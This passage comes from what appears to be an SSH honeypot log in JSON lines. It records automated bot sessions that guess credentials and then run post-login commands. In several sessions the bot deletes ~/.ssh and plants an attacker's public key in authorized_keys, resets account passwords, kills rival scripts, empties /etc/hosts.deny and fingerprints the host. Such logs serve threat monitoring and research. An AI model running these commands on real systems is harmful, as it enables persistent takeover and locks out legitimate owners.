$2;}'"},{"seq":32,"at":"2026-08-27T04:47:26.274796+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"362514","method":"password","accepted":true,"tier":"other"}]} {"id":"4c7e9bc1-9fe3-4e05-a308-75e2af031077","name":"polar-feral-grebe","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":54354,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:47:08.695127+00:00","ended_at":"2026-08-27T04:47:10.304877+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9856a6fa-6a7d-4dfd-94e3-367049e847a0","name":"seaward-opal-swallow","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":54350,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:47:07.207079+00:00","ended_at":"2026-08-27T04:47:08.080840+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8d1d44ba-d548-40c2-9bff-c2694f2ca2bd","name":"dapper-windswept-nuthatch","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":43532,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":311,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:45:24.577959+00:00","ended_at":"2026-08-27T04:45:25.818090+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2249,"events":[{"seq":1,"at":"2026-08-27T04:45:07.442117+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:45:07.747699+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:45:11.035791+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:45:11.451910+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:45:11.761100+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ti2OKAs826EE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:45:12.070304+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:45:12.378234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:45:13.018770+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:45:13.331172+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:45:14.290668+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:45:14.605097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:45:15.545368+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:45:15.860315+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:45:16.424951+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:45:16.736252+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:45:17.023923+00:00","kind":"output","latency_ms":null,"data":" 04:45:17 up 7 days, 1:35, 0 user, load average: 0.14, 0.16, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:45:17.334758+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:45:17.704185+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:45:18.013457+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:45:18.769438+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:45:19.078929+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:45:19.828174+00:00","kind":"output","latency_ms":null,"data":"top - 04:45:19 up 7 days, 1:35, 0 user, load average: 0.14, 0.16, 0.09\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6831 free, 9056 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:45:20.135003+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:45:20.555170+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:45:20.865133+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:45:21.578848+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:45:21.898877+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:45:22.576946+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:45:22.895333+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:45:24.266598+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:45:24.579718+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:45:25.723709+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1234Qwer!","method":"password","accepted":true,"tier":"other"}]} {"id":"12f4f41c-6dd2-47b4-aa8e-a9abffba547e","name":"painted-somber-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":43550,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:45:10.251473+00:00","ended_at":"2026-08-27T04:45:10.943304+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f93c72ce-575e-42a7-9c1e-a198d90871c1","name":"cheerful-russet-dingo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":43536,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:45:08.459497+00:00","ended_at":"2026-08-27T04:45:09.635564+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8712e8ca-65c1-4d9c-a9a6-0f37a32a77e2","name":"sullen-lofty-kea","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":39404,"username":"abdullah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":320,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:43:27.970027+00:00","ended_at":"2026-08-27T04:43:29.456538+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2185,"events":[{"seq":1,"at":"2026-08-27T04:43:10.454175+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:43:10.772032+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:43:14.022446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:43:14.310767+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:43:14.638843+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nnNMRt6X7QqUp\\nnNMRt6X7QqUp\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:43:14.959573+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nnNMRt6X7QqUp\\nnNMRt6X7QqUp\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:43:15.272016+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:43:16.120870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:43:16.450616+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:43:17.400008+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:43:17.720567+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:43:18.796159+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:43:19.115891+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:43:19.578428+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:43:19.897115+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:43:20.592963+00:00","kind":"output","latency_ms":null,"data":" 04:43:20 up 7 days, 1:33, 0 user, load average: 0.31, 0.39, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:43:20.910901+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:43:21.727382+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:43:22.047047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:43:22.751693+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:43:23.069612+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:43:23.458432+00:00","kind":"output","latency_ms":null,"data":"top - 04:43:23 up 7 days, 1:33, 0 user, load average: 0.31, 0.39, 0.21\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:43:23.790905+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:43:24.510863+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:43:24.831709+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:43:25.659502+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:43:25.981369+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:43:26.486285+00:00","kind":"output","latency_ms":null,"data":"abdullah"},{"seq":29,"at":"2026-08-27T04:43:26.808106+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:43:27.651742+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:43:27.972328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:43:29.361525+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"abdullah","password":"1234","method":"password","accepted":true,"tier":"other"}]} {"id":"babf98e3-834d-47ed-947e-b9743ece6d85","name":"balmy-tawny-lark","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":39420,"username":"abdullah","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:43:13.147281+00:00","ended_at":"2026-08-27T04:43:13.923012+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"abdullah","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"841b9f89-ebb8-41fc-b349-cfdda73a49de","name":"somber-supple-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":39406,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:43:11.472692+00:00","ended_at":"2026-08-27T04:43:12.528008+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ae3bef40-401d-4101-a77c-049085b2d196","name":"emerald-shifting-agouti","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48990,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:41:26.191133+00:00","ended_at":"2026-08-27T04:41:27.762207+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2227,"events":[{"seq":1,"at":"2026-08-27T04:41:06.848295+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:41:07.161892+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:41:11.810839+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:41:12.329597+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:41:12.654565+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Ywqzbkr9b8W5\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T04:41:12.964572+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T04:41:13.275604+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:41:13.550870+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:41:13.866521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:41:15.231289+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:41:15.545827+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:41:16.517415+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:41:16.838835+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:41:17.706309+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:41:18.026386+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:41:18.822781+00:00","kind":"output","latency_ms":null,"data":" 04:41:18 up 7 days, 1:31, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:41:19.136052+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:41:19.620898+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:41:19.934190+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:41:20.461221+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:41:20.775431+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:41:21.271230+00:00","kind":"output","latency_ms":null,"data":"top - 04:41:21 up 7 days, 1:31, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T04:41:21.583768+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T04:41:22.003888+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T04:41:22.319840+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T04:41:23.117586+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T04:41:23.430390+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T04:41:24.182942+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T04:41:24.498278+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T04:41:25.877282+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T04:41:26.192201+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T04:41:27.667284+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"2233","method":"password","accepted":true,"tier":"other"}]} {"id":"3ef78400-00ee-4b01-8cf7-be386bacbc88","name":"emerald-fabled-sandpiper","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":49010,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:41:10.304314+00:00","ended_at":"2026-08-27T04:41:11.718935+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"35c6b306-f7e1-4e1c-bdd1-c75df11cb2e9","name":"zealous-northern-magpie","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":48996,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T04:41:07.876593+00:00","ended_at":"2026-08-27T04:41:09.689554+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2de09614-ad33-4341-acc9-e9c28fc203dc","name":"autumn-courtly-vole","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":54804,"username":"gourav","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T04:39:25.454106+00:00","ended_at":"2026-08-27T04:39:26.513841+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2163,"events":[{"seq":1,"at":"2026-08-27T04:39:06.616756+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T04:39:06.929022+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T04:39:11.296969+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T04:39:11.982703+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T04:39:12.300488+00:00","kind":"input","latency_ms":null,"data":"echo -e \"gourav\\n4myCh27y74H1\\n4myCh27y74H1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T04:39:12.618524+00:00","kind":"input","latency_ms":null,"data":"echo \"gourav\\n4myCh27y74H1\\n4myCh27y74H1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T04:39:12.935112+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T04:39:13.427200+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T04:39:13.757103+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T04:39:14.881921+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T04:39:15.196385+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T04:39:16.271587+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T04:39:16.589092+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T04:39:17.363324+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T04:39:17.677227+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T04:39:18.218270+00:00","kind":"output","latency_ms":null,"data":" 04:39:18 up 7 days, 1:29, 0 user, load average: 0.12, 0.1, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T04:39:18.533121+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T04:39:19.159970+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T04:39:19.473241+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T04:39:20.067697+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T04:39:20.382176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T04:39:20.884531+00:00","kind":"output","latency_ms":null,"data":"top - 04:39:20 up 7 days, 